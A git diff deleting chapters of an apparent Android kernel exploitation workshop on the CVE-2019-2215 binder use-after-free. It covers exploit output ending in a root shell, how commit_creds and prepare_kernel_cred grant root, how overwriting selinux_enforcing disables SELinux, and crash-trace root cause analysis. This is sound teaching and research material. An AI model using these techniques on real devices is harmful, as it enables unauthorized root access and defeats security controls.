- [*] &task_struct->nsproxy: 0xffff888063a151c0
-[+] Opening: /dev/binder
- [*] m_binder_fd: 0x7
-[+] Creating event poll
- [*] m_epoll_fd: 0x8
-[+] Setting up socket
- [*] Socketpair created successfully
-[+] Writing junk data to socket
-[+] Setting up iovecs
-[+] Linking eppoll_entry->wait.entry to binder_thread->wait.head
-[+] Freeing binder_thread
-[+] Un-linking eppoll_entry->wait.entry from binder_thread->wait.head
-[+] Setting up pipe for kernel read/write
- [*] Pipe created successfully
-[+] Verifying arbitrary read/write primitive
- [*] currentPid: 7039
- [*] expectedPid: 7039
- [*] Arbitrary read/write successful
-[+] Patching current task cred members
- [*] cred: 0xffff888066e016c0
-[+] Verifying if selinux enforcing is enabled
- [*] nsproxy: 0xffffffff81433ac0
- [*] Kernel base: 0xffffffff80200000
- [*] selinux_enforcing: 0xffffffff816acfe8
- [*] selinux enforcing is enabled
- [*] Disabled selinux enforcing
-[+] Verifying if rooted
- [*] uid: 0x0
- [*] Rooting successful
-[+] Spawning root shell
-generic_x86_64:/data/local/tmp # id
-uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
-generic_x86_64:/data/local/tmp # getenforce
-Permissive
-generic_x86_64:/data/local/tmp #
-```
-
-You can see that we have achieved `root` and disabled **SELinux**.
diff --git a/gitbook/chapters/gdb-macros.md b/gitbook/chapters/gdb-macros.md
deleted file mode 100644
index 677ba19..0000000
--- a/gitbook/chapters/gdb-macros.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# GDB Macros
-
-These are useful **macros** that you can use during **debugging**.
-
-```
-macro define offsetof(_type, _memb) ((long)(&((_type *)0)->_memb))
-```
-
-```
-macro define containerof(_ptr, _type, _memb) ((_type *)((void *)(_ptr) - offsetof(_type, _memb)))
-```
diff --git a/gitbook/chapters/linux-privilege-escalation.md b/gitbook/chapters/linux-privilege-escalation.md
deleted file mode 100644
index dbad42c..0000000
--- a/gitbook/chapters/linux-privilege-escalation.md
+++ /dev/null
@@ -1,843 +0,0 @@
-# Linux Privilege Escalation
-
-The end goal of this workshop is to use a **Android** kernel **vulnerability** to achieve privilege escalation i.e `root`. In **Linux** `root` is the super user with `uid=0(root) gid=0(root)` and has all the access rights.
-
-
-## Light Weight Process {#light-weight-process}
-
-Linux uses **Light Weight Process** to implement better support multi-threading. Each **light weight process** is assigned a process descriptor called `task_struct` and is defined in `include/linux/sched.h`.
-
-```c
-struct task_struct {
-#ifdef CONFIG_THREAD_INFO_IN_TASK
- /*
- * For reasons of header soup (see current_thread_info()), this
- * must be the first element of task_struct.
- */
- struct thread_info thread_info;
-#endif
- /* -1 unrunnable, 0 runnable, >0 stopped: */
- volatile long state;
-
- /*
- * This begins the randomizable portion of task_struct. Only
- * scheduling-critical items should be added above here.
- */
- randomized_struct_fields_start
-
- void *stack;
- atomic_t usage;
- /* Per task flags (PF_*), defined further below: */
- unsigned int flags;
- unsigned int ptrace;
-
-#ifdef CONFIG_SMP
- struct llist_node wake_entry;
- int on_cpu;
-#ifdef CONFIG_THREAD_INFO_IN_TASK
- /* Current CPU: */
- unsigned int cpu;
-#endif
- unsigned int wakee_flips;
- unsigned long wakee_flip_decay_ts;
- struct task_struct *last_wakee;
-
- int wake_cpu;
-#endif
- int on_rq;
-
- int prio;
- int static_prio;
- int normal_prio;
- unsigned int rt_priority;
-
- const struct sched_class *sched_class;
- struct sched_entity se;
- struct sched_rt_entity rt;
-#ifdef CONFIG_SCHED_WALT
- struct ravg ravg;
- /*
- * 'init_load_pct' represents the initial task load assigned to children
- * of this task
- */
- u32 init_load_pct;
- u64 last_sleep_ts;
-#endif
-
-#ifdef CONFIG_CGROUP_SCHED
- struct task_group *sched_task_group;
-#endif
- struct sched_dl_entity dl;
-
-#ifdef CONFIG_PREEMPT_NOTIFIERS
- /* List of struct preempt_notifier: */
- struct hlist_head preempt_notifiers;
-#endif
-
-#ifdef CONFIG_BLK_DEV_IO_TRACE
- unsigned int btrace_seq;
-#endif
-
- unsigned int policy;
- int nr_cpus_allowed;
- cpumask_t cpus_allowed;
-
-#ifdef CONFIG_PREEMPT_RCU
- int rcu_read_lock_nesting;
- union rcu_special rcu_read_unlock_special;
- struct list_head rcu_node_entry;
- struct rcu_node *rcu_blocked_node;
-#endif /* #ifdef CONFIG_PREEMPT_RCU */
-
-#ifdef CONFIG_TASKS_RCU
- unsigned long rcu_tasks_nvcsw;
- u8 rcu_tasks_holdout;
- u8 rcu_tasks_idx;
- int rcu_tasks_idle_cpu;
- struct list_head rcu_tasks_holdout_list;
-#endif /* #ifdef CONFIG_TASKS_RCU */
-
- struct sched_info sched_info;
-
- struct list_head tasks;
-#ifdef CONFIG_SMP
- struct plist_node pushable_tasks;
- struct rb_node pushable_dl_tasks;
-#endif
-
- struct mm_struct *mm;
- struct mm_struct *active_mm;
-
- /* Per-thread vma caching: */
- struct vmacache vmacache;
-
-#ifdef SPLIT_RSS_COUNTING
- struct task_rss_stat rss_stat;
-#endif
- int exit_state;
- int exit_code;
- int exit_signal;
- /* The signal sent when the parent dies: */
- int pdeath_signal;
- /* JOBCTL_*, siglock protected: */
- unsigned long jobctl;
-
- /* Used for emulating ABI behavior of previous Linux versions: */
- unsigned int personality;
-
- /* Scheduler bits, serialized by scheduler locks: */
- unsigned sched_reset_on_fork:1;
- unsigned sched_contributes_to_load:1;
- unsigned sched_migrated:1;
- unsigned sched_remote_wakeup:1;
-#ifdef CONFIG_PSI
- unsigned sched_psi_wake_requeue:1;
-#endif
-
- /* Force alignment to the next boundary: */
- unsigned :0;
-
- /* Unserialized, strictly 'current' */
-
- /* Bit to tell LSMs we're in execve(): */
- unsigned in_execve:1;
- unsigned in_iowait:1;
-#ifndef TIF_RESTORE_SIGMASK
- unsigned restore_sigmask:1;
-#endif
-#ifdef CONFIG_MEMCG
- unsigned memcg_may_oom:1;
-#ifndef CONFIG_SLOB
- unsigned memcg_kmem_skip_account:1;
-#endif
-#endif
-#ifdef CONFIG_COMPAT_BRK
- unsigned brk_randomized:1;
-#endif
-#ifdef CONFIG_CGROUPS
- /* disallow userland-initiated cgroup migration */
- unsigned no_cgroup_migration:1;
-#endif
-
- unsigned long atomic_flags; /* Flags requiring atomic access. */
-
- struct restart_block restart_block;
-
- pid_t pid;
- pid_t tgid;
-
-#ifdef CONFIG_CC_STACKPROTECTOR
- /* Canary value for the -fstack-protector GCC feature: */
- unsigned long stack_canary;
-#endif
- /*
- * Pointers to the (original) parent process, youngest child, younger sibling,
- * older sibling, respectively. (p->father can be replaced with
- * p->real_parent->pid)
- */
-
- /* Real parent process: */
- struct task_struct __rcu *real_parent;
-
- /* Recipient of SIGCHLD, wait4() reports: */
- struct task_struct __rcu *parent;
-
- /*
- * Children/sibling form the list of natural children:
- */
- struct list_head children;
- struct list_head sibling;
- struct task_struct *group_leader;
-
- /*
- * 'ptraced' is the list of tasks this task is using ptrace() on.
- *
- * This includes both natural children and PTRACE_ATTACH targets.
- * 'ptrace_entry' is this task's link on the p->parent->ptraced list.
- */
- struct list_head ptraced;
- struct list_head ptrace_entry;
-
- /* PID/PID hash table linkage. */
- struct pid_link pids[PIDTYPE_MAX];
- struct list_head thread_group;
- struct list_head thread_node;
-
- struct completion *vfork_done;
-
- /* CLONE_CHILD_SETTID: */
- int __user *set_child_tid;
-
- /* CLONE_CHILD_CLEARTID: */
- int __user *clear_child_tid;
-
- u64 utime;
- u64 stime;
-#ifdef CONFIG_ARCH_HAS_SCALED_CPUTIME
- u64 utimescaled;
- u64 stimescaled;
-#endif
- u64 gtime;
-#ifdef CONFIG_CPU_FREQ_TIMES
- u64 *time_in_state;
- unsigned int max_state;
-#endif
- struct prev_cputime prev_cputime;
-#ifdef CONFIG_VIRT_CPU_ACCOUNTING_GEN
- struct vtime vtime;
-#endif
-
-#ifdef CONFIG_NO_HZ_FULL
- atomic_t tick_dep_mask;
-#endif
- /* Context switch counts: */
- unsigned long nvcsw;
- unsigned long nivcsw;
-
- /* Monotonic time in nsecs: */
- u64 start_time;
-
- /* Boot based time in nsecs: */
- u64 real_start_time;
-
- /* MM fault and swap info: this can arguably be seen as either mm-specific or thread-specific: */
- unsigned long min_flt;
- unsigned long maj_flt;
-
-#ifdef CONFIG_POSIX_TIMERS
- struct task_cputime cputime_expires;
- struct list_head cpu_timers[3];
-#endif
-
- /* Process credentials: */
-
- /* Tracer's credentials at attach: */
- const struct cred __rcu *ptracer_cred;
-
- /* Objective and real subjective task credentials (COW): */
- const struct cred __rcu *real_cred;
-
- /* Effective (overridable) subjective task credentials (COW): */
- const struct cred __rcu *cred;
-
- /*
- * executable name, excluding path.
- *
- * - normally initialized setup_new_exec()
- * - access it with [gs]et_task_comm()
- * - lock it with task_lock()
- */
- char comm[TASK_COMM_LEN];
-
- struct nameidata *nameidata;
-
-#ifdef CONFIG_SYSVIPC
- struct sysv_sem sysvsem;
- struct sysv_shm sysvshm;
-#endif
-#ifdef CONFIG_DETECT_HUNG_TASK
- unsigned long last_switch_count;
-#endif
- /* Filesystem information: */
- struct fs_struct *fs;
-
- /* Open file information: */
- struct files_struct *files;
-
- /* Namespaces: */
- struct nsproxy *nsproxy;
-
- /* Signal handlers: */
- struct signal_struct *signal;
- struct sighand_struct *sighand;
- sigset_t blocked;
- sigset_t real_blocked;
- /* Restored if set_restore_sigmask() was used: */
- sigset_t saved_sigmask;
- struct sigpending pending;
- unsigned long sas_ss_sp;
- size_t sas_ss_size;
- unsigned int sas_ss_flags;
-
- struct callback_head *task_works;
-
- struct audit_context *audit_context;
-#ifdef CONFIG_AUDITSYSCALL
- kuid_t loginuid;
- unsigned int sessionid;
-#endif
- struct seccomp seccomp;
-
- /* Thread group tracking: */
- u32 parent_exec_id;
- u32 self_exec_id;
-
- /* Protection against (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, mempolicy: */
- spinlock_t alloc_lock;
-
- /* Protection of the PI data structures: */
- raw_spinlock_t pi_lock;
-
- struct wake_q_node wake_q;
-
-#ifdef CONFIG_RT_MUTEXES
- /* PI waiters blocked on a rt_mutex held by this task: */
- struct rb_root_cached pi_waiters;
- /* Updated under owner's pi_lock and rq lock */
- struct task_struct *pi_top_task;
- /* Deadlock detection and priority inheritance handling: */
- struct rt_mutex_waiter *pi_blocked_on;
-#endif
-
-#ifdef CONFIG_DEBUG_MUTEXES
- /* Mutex deadlock detection: */
- struct mutex_waiter *blocked_on;
-#endif
-
-#ifdef CONFIG_TRACE_IRQFLAGS
- unsigned int irq_events;
- unsigned long hardirq_enable_ip;
- unsigned long hardirq_disable_ip;
- unsigned int hardirq_enable_event;
- unsigned int hardirq_disable_event;
- int hardirqs_enabled;
- int hardirq_context;
- unsigned long softirq_disable_ip;
- unsigned long softirq_enable_ip;
- unsigned int softirq_disable_event;
- unsigned int softirq_enable_event;
- int softirqs_enabled;
- int softirq_context;
-#endif
-
-#ifdef CONFIG_LOCKDEP
-# define MAX_LOCK_DEPTH 48UL
- u64 curr_chain_key;
- int lockdep_depth;
- unsigned int lockdep_recursion;
- struct held_lock held_locks[MAX_LOCK_DEPTH];
-#endif
-
-#ifdef CONFIG_LOCKDEP_CROSSRELEASE
-#define MAX_XHLOCKS_NR 64UL
- struct hist_lock *xhlocks; /* Crossrelease history locks */
- unsigned int xhlock_idx;
- /* For restoring at history boundaries */
- unsigned int xhlock_idx_hist[XHLOCK_CTX_NR];
- unsigned int hist_id;
- /* For overwrite check at each context exit */
- unsigned int hist_id_save[XHLOCK_CTX_NR];
-#endif
-
-#ifdef CONFIG_UBSAN
- unsigned int in_ubsan;
-#endif
-
- /* Journalling filesystem info: */
- void *journal_info;
-
- /* Stacked block device info: */
- struct bio_list *bio_list;
-
-#ifdef CONFIG_BLOCK
- /* Stack plugging: */
- struct blk_plug *plug;
-#endif
-
- /* VM state: */
- struct reclaim_state *reclaim_state;
-
- struct backing_dev_info *backing_dev_info;
-
- struct io_context *io_context;
-
- /* Ptrace state: */
- unsigned long ptrace_message;
- siginfo_t *last_siginfo;
-
- struct task_io_accounting ioac;
-#ifdef CONFIG_PSI
- /* Pressure stall state */
- unsigned int psi_flags;
-#endif
-#ifdef CONFIG_TASK_XACCT
- /* Accumulated RSS usage: */
- u64 acct_rss_mem1;
- /* Accumulated virtual memory usage: */
- u64 acct_vm_mem1;
- /* stime + utime since last update: */
- u64 acct_timexpd;
-#endif
-#ifdef CONFIG_CPUSETS
- /* Protected by ->alloc_lock: */
- nodemask_t mems_allowed;
- /* Seqence number to catch updates: */
- seqcount_t mems_allowed_seq;
- int cpuset_mem_spread_rotor;
- int cpuset_slab_spread_rotor;
-#endif
-#ifdef CONFIG_CGROUPS
- /* Control Group info protected by css_set_lock: */
- struct css_set __rcu *cgroups;
- /* cg_list protected by css_set_lock and tsk->alloc_lock: */
- struct list_head cg_list;
-#endif
-#ifdef CONFIG_INTEL_RDT
- u32 closid;
- u32 rmid;
-#endif
-#ifdef CONFIG_FUTEX
- struct robust_list_head __user *robust_list;
-#ifdef CONFIG_COMPAT
- struct compat_robust_list_head __user *compat_robust_list;
-#endif
- struct list_head pi_state_list;
- struct futex_pi_state *pi_state_cache;
-#endif
-#ifdef CONFIG_PERF_EVENTS
- struct perf_event_context *perf_event_ctxp[perf_nr_task_contexts];
- struct mutex perf_event_mutex;
- struct list_head perf_event_list;
-#endif
-#ifdef CONFIG_DEBUG_PREEMPT
- unsigned long preempt_disable_ip;
-#endif
-#ifdef CONFIG_NUMA
- /* Protected by alloc_lock: */
- struct mempolicy *mempolicy;
- short il_prev;
- short pref_node_fork;
-#endif
-#ifdef CONFIG_NUMA_BALANCING
- int numa_scan_seq;
- unsigned int numa_scan_period;
- unsigned int numa_scan_period_max;
- int numa_preferred_nid;
- unsigned long numa_migrate_retry;
- /* Migration stamp: */
- u64 node_stamp;
- u64 last_task_numa_placement;
- u64 last_sum_exec_runtime;
- struct callback_head numa_work;
-
- struct list_head numa_entry;
- struct numa_group *numa_group;
-
- /*
- * numa_faults is an array split into four regions:
- * faults_memory, faults_cpu, faults_memory_buffer, faults_cpu_buffer
- * in this precise order.
- *
- * faults_memory: Exponential decaying average of faults on a per-node
- * basis. Scheduling placement decisions are made based on these
- * counts. The values remain static for the duration of a PTE scan.
- * faults_cpu: Track the nodes the process was running on when a NUMA
- * hinting fault was incurred.
- * faults_memory_buffer and faults_cpu_buffer: Record faults per node
- * during the current scan window. When the scan completes, the counts
- * in faults_memory and faults_cpu decay and these values are copied.
- */
- unsigned long *numa_faults;
- unsigned long total_numa_faults;
-
- /*
- * numa_faults_locality tracks if faults recorded during the last
- * scan window were remote/local or failed to migrate. The task scan
- * period is adapted based on the locality of the faults with different
- * weights depending on whether they were shared or private faults
- */
- unsigned long numa_faults_locality[3];
-
- unsigned long numa_pages_migrated;
-#endif /* CONFIG_NUMA_BALANCING */
-
- struct tlbflush_unmap_batch tlb_ubc;
-
- struct rcu_head rcu;
-
- /* Cache last used pipe for splice(): */
- struct pipe_inode_info *splice_pipe;
-
- struct page_frag task_frag;
-
-#ifdef CONFIG_TASK_DELAY_ACCT
- struct task_delay_info *delays;
-#endif
-
-#ifdef CONFIG_FAULT_INJECTION
- int make_it_fail;
- unsigned int fail_nth;
-#endif
- /*
- * When (nr_dirtied >= nr_dirtied_pause), it's time to call
- * balance_dirty_pages() for a dirty throttling pause:
- */
- int nr_dirtied;
- int nr_dirtied_pause;
- /* Start of a write-and-pause period: */
- unsigned long dirty_paused_when;
-
-#ifdef CONFIG_LATENCYTOP
- int latency_record_count;
- struct latency_record latency_record[LT_SAVECOUNT];
-#endif
- /*
- * Time slack values; these are used to round up poll() and
- * select() etc timeout values. These are in nanoseconds.
- */
- u64 timer_slack_ns;
- u64 default_timer_slack_ns;
-
-#ifdef CONFIG_KASAN
- unsigned int kasan_depth;
-#endif
-
-#ifdef CONFIG_FUNCTION_GRAPH_TRACER
- /* Index of current stored address in ret_stack: */
- int curr_ret_stack;
-
- /* Stack of return addresses for return function tracing: */
- struct ftrace_ret_stack *ret_stack;
-
- /* Timestamp for last schedule: */
- unsigned long long ftrace_timestamp;
-
- /*
- * Number of functions that haven't been traced
- * because of depth overrun:
- */
- atomic_t trace_overrun;
-
- /* Pause tracing: */
- atomic_t tracing_graph_pause;
-#endif
-
-#ifdef CONFIG_TRACING
- /* State flags for use by tracers: */
- unsigned long trace;
-
- /* Bitmask and counter of trace recursion: */
- unsigned long trace_recursion;
-#endif /* CONFIG_TRACING */
-
-#ifdef CONFIG_KCOV
- /* Coverage collection mode enabled for this task (0 if disabled): */
- enum kcov_mode kcov_mode;
-
- /* Size of the kcov_area: */
- unsigned int kcov_size;
-
- /* Buffer for coverage collection: */
- void *kcov_area;
-
- /* KCOV descriptor wired with this task or NULL: */
- struct kcov *kcov;
-#endif
-
-#ifdef CONFIG_MEMCG
- struct mem_cgroup *memcg_in_oom;
- gfp_t memcg_oom_gfp_mask;
- int memcg_oom_order;
-
- /* Number of pages to reclaim on returning to userland: */
- unsigned int memcg_nr_pages_over_high;
-#endif
-
-#ifdef CONFIG_UPROBES
- struct uprobe_task *utask;
-#endif
-#if defined(CONFIG_BCACHE) || defined(CONFIG_BCACHE_MODULE)
- unsigned int sequential_io;
- unsigned int sequential_io_avg;
-#endif
-#ifdef CONFIG_DEBUG_ATOMIC_SLEEP
- unsigned long task_state_change;
-#endif
- int pagefault_disabled;
-#ifdef CONFIG_MMU
- struct task_struct *oom_reaper_list;
-#endif
-#ifdef CONFIG_VMAP_STACK
- struct vm_struct *stack_vm_area;
-#endif
-#ifdef CONFIG_THREAD_INFO_IN_TASK
- /* A live task holds one reference: */
- atomic_t stack_refcount;
-#endif
-#ifdef CONFIG_LIVEPATCH
- int patch_state;
-#endif
-#ifdef CONFIG_SECURITY
- /* Used by LSM modules for access restriction: */
- void *security;
-#endif
-
- /*
- * New fields for task_struct should be added above here, so that
- * they are included in the randomized portion of task_struct.
- */
- randomized_struct_fields_end
-
- /* CPU-specific state of this task: */
- struct thread_struct thread;
-
- /*
- * WARNING: on x86, 'thread_struct' contains a variable-sized
- * structure. It *MUST* be at the end of 'task_struct'.
- *
- * Do not put anything below here!
- */
-};
-```
-
-This data structure contains all the information to manage a process. One of the interesting members in this `task_struct` structure is `cred`.
-
-
-## Process Credentials {#process-credentials}
-
-The **security context** of a task is defined by `struct cred` and is defined in `include/linux/cred.h`.
-
-```c
-struct cred {
- atomic_t usage;
-#ifdef CONFIG_DEBUG_CREDENTIALS
- atomic_t subscribers; /* number of processes subscribed */
- void *put_addr;
- unsigned magic;
-#define CRED_MAGIC 0x43736564
-#define CRED_MAGIC_DEAD 0x44656144
-#endif
- kuid_t uid; /* real UID of the task */
- kgid_t gid; /* real GID of the task */
- kuid_t suid; /* saved UID of the task */
- kgid_t sgid; /* saved GID of the task */
- kuid_t euid; /* effective UID of the task */
- kgid_t egid; /* effective GID of the task */
- kuid_t fsuid; /* UID for VFS ops */
- kgid_t fsgid; /* GID for VFS ops */
- unsigned securebits; /* SUID-less security management */
- kernel_cap_t cap_inheritable; /* caps our children can inherit */
- kernel_cap_t cap_permitted; /* caps we're permitted */
- kernel_cap_t cap_effective; /* caps we can actually use */
- kernel_cap_t cap_bset; /* capability bounding set */
- kernel_cap_t cap_ambient; /* Ambient capability set */
-#ifdef CONFIG_KEYS
- unsigned char jit_keyring; /* default keyring to attach requested
- * keys to */
- struct key __rcu *session_keyring; /* keyring inherited over fork */
- struct key *process_keyring; /* keyring private to this process */
- struct key *thread_keyring; /* keyring private to this thread */
- struct key *request_key_auth; /* assumed request_key authority */
-#endif
-#ifdef CONFIG_SECURITY
- void *security; /* subjective LSM security */
-#endif
- struct user_struct *user; /* real user ID subscription */
- struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
- struct group_info *group_info; /* supplementary groups for euid/fsgid */
- /* RCU deletion */
- union {
- int non_rcu; /* Can we skip RCU deletion? */
- struct rcu_head rcu; /* RCU deletion hook */
- };
-} __randomize_layout;
-```
-
-In most of the Linux **kernel exploits**, you must have seen that to achieve `root` they use
-
-```c
-commit_creds(prepare_kernel_cred(NULL));
-```
-
-Let's try to look into these two functions and see what they do. First, let's look into `prepare_kernel_cred` function which is defined in `kernel/cred.c`.
-
-```c
-struct cred *prepare_kernel_cred(struct task_struct *daemon)
-{
- const struct cred *old;
- struct cred *new;
-
- new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
- if (!new)
- return NULL;
-
- kdebug("prepare_kernel_cred() alloc %p", new);
-
- if (daemon)
- old = get_task_cred(daemon);
- else
- old = get_cred(&init_cred);
-
- validate_creds(old);
-
- *new = *old;
- [...]
- validate_creds(new);
- return new;
-
-error:
- [...]
- return NULL;
-}
-```
-
-This function basically take a pointer `task_struct` for which we want to prepare *kernel credentials*. The important part of the function is that if we provide `NULL` as the pointer to `task_struct` it will get the default credentials which is `init_cred`. `init_cred` is a global `struct cred` defined in `kernel/cred.c` which is used to initialize the credentials for the `init_task` which is the first **task** in Linux.
-
-```c
-/*
- * The initial credentials for the initial task
- */
-struct cred init_cred = {
- .usage = ATOMIC_INIT(4),
-#ifdef CONFIG_DEBUG_CREDENTIALS
- .subscribers = ATOMIC_INIT(2),
- .magic = CRED_MAGIC,
-#endif
- .uid = GLOBAL_ROOT_UID,
- .gid = GLOBAL_ROOT_GID,
- .suid = GLOBAL_ROOT_UID,
- .sgid = GLOBAL_ROOT_GID,
- .euid = GLOBAL_ROOT_UID,
- .egid = GLOBAL_ROOT_GID,
- .fsuid = GLOBAL_ROOT_UID,
- .fsgid = GLOBAL_ROOT_GID,
- .securebits = SECUREBITS_DEFAULT,
- .cap_inheritable = CAP_EMPTY_SET,
- .cap_permitted = CAP_FULL_SET,
- .cap_effective = CAP_FULL_SET,
- .cap_bset = CAP_FULL_SET,
- .user = INIT_USER,
- .user_ns = &init_user_ns,
- .group_info = &init_groups,
-};
-```
-
-Let's look at what these defines mean.
-
-```c
-#define GLOBAL_ROOT_UID (uint32_t)0
-#define GLOBAL_ROOT_GID (uint32_t)0
-#define SECUREBITS_DEFAULT (uint32_t)0x00000000
-#define CAP_EMPTY_SET (uint64_t)0
-#define CAP_FULL_SET (uint64_t)0x3FFFFFFFFF
-```
-
-`init_cred` basically sets the `cred` structure as shown below.
-
-```c
-cred->uid = 0;
-cred->gid = 0;
-cred->suid = 0;
-cred->idid = 0;
-cred->euid = 0;
-cred->egid = 0;
-cred->fsuid = 0;
-cred->fsgid = 0;
-cred->securebits = 0;
-cred->cap_inheritable.cap[0] = 0;
-cred->cap_inheritable.cap[1] = 0;
-cred->cap_permitted.cap[0] = 0x3F;
-cred->cap_permitted.cap[1] = 0xFFFFFFFF;
-cred->cap_effective.cap[0] = 0x3F;
-cred->cap_effective.cap[1] = 0xFFFFFFFF;
-cred->cap_bset.cap[0] = 0x3F;
-cred->cap_bset.cap[1] = 0xFFFFFFFF;
-cred->cap_ambient.cap[0] = 0;
-cred->cap_ambient.cap[1] = 0;
-```
-
-Let's look at the `commit_creds` function and try to understand what it does.
-
-```c
-int commit_creds(struct cred *new)
-{
- struct task_struct *task = current;
- const struct cred *old = task->real_cred;
-
- [...]
-
- rcu_assign_pointer(task->real_cred, new);
- rcu_assign_pointer(task->cred, new);
-
- [...]
-
- return 0;
-}
-```
-
-`commit_creds` basically sets the `task->real_cred` and `task->cred` with the pointer to new `cred` structure. However, as we had passed `NULL` to `prepare_kernel_cred` address of `init_cred`.
-
-This is how we get `root` and this basically means **privilege escalation**
-
-
-## SELinux {#selinux}
-
-**Security-Enhanced Linux** was developed by **National Security Agency (NSA)** using **Linux Security Modules (LSM)**.
-
-There are two modes of **SELinux**
-
-* **permissive** - permission denials are *logged* but not *enforced*
-* **enforcing** - permission denials are *logged* and *enforced*
-
-In **Android** the default mode of **SELinux** is **enforcing** and even if we get **root**, we are subjected to **SELinux** rules.
-
-```bash
-generic_x86_64:/ $ getenforce
-Enforcing
-```
-
-So, we need to disable **SELinux** as well.
-
-
-### selinux_enforcing {#selinux-enforcing}
-
-`selinux_enforcing` is a global variable which dictates whether **SELinux** is **enforced** or **not**. If we can figure out where `selinux_enforcing` is in memory and set it to `NULL`, then we can disable **SELinux** globally and now **SELinux** will be in **permissive** mode instead of **enforcing** mode.
-
-
-## SecComp {#seccomp}
-
-**SecComp** stands for **Secure Computing** mode and is a Linux kernel feature that allows to **filter system calls**. When enabled, the process can only make **four** system calls `read()`, `write()`, `exit()`, and `sigreturn()`.
-
-When running the **exploit** from `adb` shell we are not subjected to **seccomp**. However, if we bundle the **exploit** in an **Android** application, we would be subjected to **seccomp**.
-
-In this workshop, we are not going to look at **seccomp**.
diff --git a/gitbook/chapters/resources.md b/gitbook/chapters/resources.md
deleted file mode 100644
index 0e04a12..0000000
--- a/gitbook/chapters/resources.md
+++ /dev/null
@@ -1,45 +0,0 @@
-# Resources
-
-## Linux Lightweight Process
-* https://en.wikipedia.org/wiki/Light-weight_process
-* https://medium.com/hungys-blog/linux-kernel-process-99629d91423c
-
-
-## SELinux
-* https://source.android.com/security/selinux
-* https://www.redhat.com/en/topics/linux/what-is-selinux
-
-
-## seccomp
-* https://lwn.net/Articles/656307/
-
-
-## Building Kernels
-* https://source.android.com/setup/build/building-kernels
-* https://android.googlesource.com/kernel/manifest
-
-
-## Linux Kernel Source Code Cross Referencer
-* https://elixir.bootlin.com/linux/v4.14.171/source
-
-
-## Linux Kernel Source Annotated
-* http://www.bricktou.com/
-
-
-## CVE-2019-2215 - Bug Report
-* https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ
-* https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
-
-
-## Vectored I/O
-* https://en.wikipedia.org/wiki/Vectored_I/O
-* https://www.gnu.org/software/libc/manual/html_node/Scatter_002dGather.html
-* http://man7.org/linux/man-pages/man2/readv.2.html
-
-## Exploitation
-* https://www.blackhat.com/docs/eu-16/materials/eu-16-Shen-Rooting-Every-Android-From-Extension-To-Exploitation-wp.pdf
-* https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
-* https://www.youtube.com/watch?v=TAwQ4ezgEIo
-* https://dayzerosec.com/posts/analyzing-androids-cve-2019-2215-dev-binder-uaf/
-* https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/
diff --git a/gitbook/chapters/root-cause-analysis.md b/gitbook/chapters/root-cause-analysis.md
deleted file mode 100644
index 5973a50..0000000
--- a/gitbook/chapters/root-cause-analysis.md
+++ /dev/null
@@ -1,1242 +0,0 @@
-# Root Cause Analysis
-
-**Root Cause Analysis (RCA)** is a very important part of **vulnerability research**. With **RCA** we can determine if a **crash** or **bug** can be **exploited**.
-
-**RCA** is basically reverse engineering process to understanding the code that lead to the crash.
-
-
-## Revisiting Crash {#revisiting-crash}
-
-From the crash log, we already know that it's **Use after Free** vulnerability. Let's revisit the crash report and try to understand why it occurred.
-
-Let's strip away unwanted information and break the crash log in three parts, allocation, free and use
-
-
-### Allocation {#revisiting-crash-allocation}
-
-```
-[< none >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59
-[< inline >] save_stack mm/kasan/common.c:76
-[< inline >] set_track mm/kasan/common.c:85
-[< none >] __kasan_kmalloc+0x133/0x1cc mm/kasan/common.c:501
-[< none >] kasan_kmalloc+0x9/0xb mm/kasan/common.c:515
-[< none >] kmem_cache_alloc_trace+0x1bd/0x26f mm/slub.c:2819
-[< inline >] kmalloc include/linux/slab.h:488
-[< inline >] kzalloc include/linux/slab.h:661
-[< none >] binder_get_thread+0x166/0x6db drivers/android/binder.c:4677
-[< none >] binder_poll+0x4c/0x1c2 drivers/android/binder.c:4805
-[< inline >] ep_item_poll fs/eventpoll.c:888
-[< inline >] ep_insert fs/eventpoll.c:1476
-[< inline >] SYSC_epoll_ctl fs/eventpoll.c:2128
-[< none >] SyS_epoll_ctl+0x1558/0x24f0 fs/eventpoll.c:2014
-[< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292
-[< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233
-```
-
-Here is the simplified call graph.
-
-
-
-Relevant source line from the PoC
-
-```c
-ioctl(fd, BINDER_THREAD_EXIT, NULL);
-```
-
-Let's look at the the `binder_free_thread` implementation in `workshop/android-4.14-dev/goldfish/drivers/android/binder.c`.
-
-```c
-static void binder_free_thread(struct binder_thread *thread)
-{
- [...]
- kfree(thread);
-}
-```
-
-We see that `binder_thread` structure is being **freed** by calling `kfree` which exactly matches the free call trace. This confirms that the **dangling** chunk is `binder_thread` structure.
-
-Let's see how `struct binder_thread` is defined.
-
-```c
-struct binder_thread {
- struct binder_proc *proc;
- struct rb_node rb_node;
- struct list_head waiting_thread_node;
- int pid;
- int looper; /* only modified by this thread */
- bool looper_need_return; /* can be written by other thread */
- struct binder_transaction *transaction_stack;
- struct list_head todo;
- bool process_todo;
- struct binder_error return_error;
- struct binder_error reply_error;
- wait_queue_head_t wait;
- struct binder_stats stats;
- atomic_t tmp_ref;
- bool is_dead;
- struct task_struct *task;
-};
-```
-
-
-### Use {#revisiting-crash-use}
-
-```
-[< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160
-[< none >] remove_wait_queue+0x27/0x122 kernel/sched/wait.c:50
- ?[< none >] fsnotify_unmount_inodes+0x1e8/0x1e8 fs/notify/fsnotify.c:99
-[< inline >] ep_remove_wait_queue fs/eventpoll.c:612
-[< none >] ep_unregister_pollwait+0x160/0x1bd fs/eventpoll.c:630
